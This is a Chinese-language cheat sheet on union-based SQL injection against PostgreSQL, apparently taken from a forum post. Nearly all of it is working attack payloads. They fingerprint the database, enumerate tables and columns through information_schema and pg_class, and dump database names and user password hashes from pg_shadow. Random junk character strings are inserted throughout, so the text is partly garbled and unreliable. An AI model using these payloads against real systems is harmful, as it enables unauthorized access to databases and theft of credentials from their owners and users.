结合了MSSQL MySQL Oracle的一些特点
; L0 r! a `4 b8 M. G+ U支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
% @2 }9 f. v: E8 I1 o9 P- T# i连接符: %20 , + , /**/ 内置函数:
, X' k* o# p) b" s& Ccurrent_database() //当前数据库名/ f% K T2 n" J7 X* `1 G" b; Q
session_user //会话用户2 c$ H6 b+ m/ t5 h5 r0 {
current_user //当前数据库用户
* ^" L7 [# ]. }+ D& L" J6 }user //当前用户9 |2 B/ j! J, R# I# h* P
version() //数据库版本 Union注射:7 b7 c% j7 N% D+ e; {2 h0 B
order by n–8 C1 ]% h5 f+ U# N
and 1=2 union select null,null,null–! \. m6 x6 i$ I/ X
and 1=2 union select ‘beach’,null,null–
- m. r) K1 M; _) q6 v" land 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
+ f" {' q! y' Kgroup_concat(table_name)* N4 J* z9 }4 g
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–* }+ d& d) |7 p. s0 r( b* _
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–+ A: I4 I; L" z5 H
(老版本)8 ?. I$ d* u i6 T, Z7 M4 P
pg_class.oid对应pg_attribute.attrelid. \/ ^% n) p. O2 [- ^2 G# H* J
pg_class.relname表名- V6 e4 p) a) l/ W/ z8 x
pg_attribute.attname字段名 select relname from pg_class获取表名
" n; A/ b) X; F' F2 E1 ^) sselect oid from pg_class where 条件 获取参数7 s+ s+ m7 Y$ j: \' K
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
# X4 `" L/ r; D8 Z+ c% L* Eand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表' D* f- G! E) a# l8 V/ V- d# \
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
2 F( h2 ?4 {2 s" l由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
9 p, [6 p; r; {, a$ }; Y0 ^======================================================================
7 X& i5 d- `. L2 N' Mand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
# `5 H/ _+ V8 G& g" ?! d8 E0 Wand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |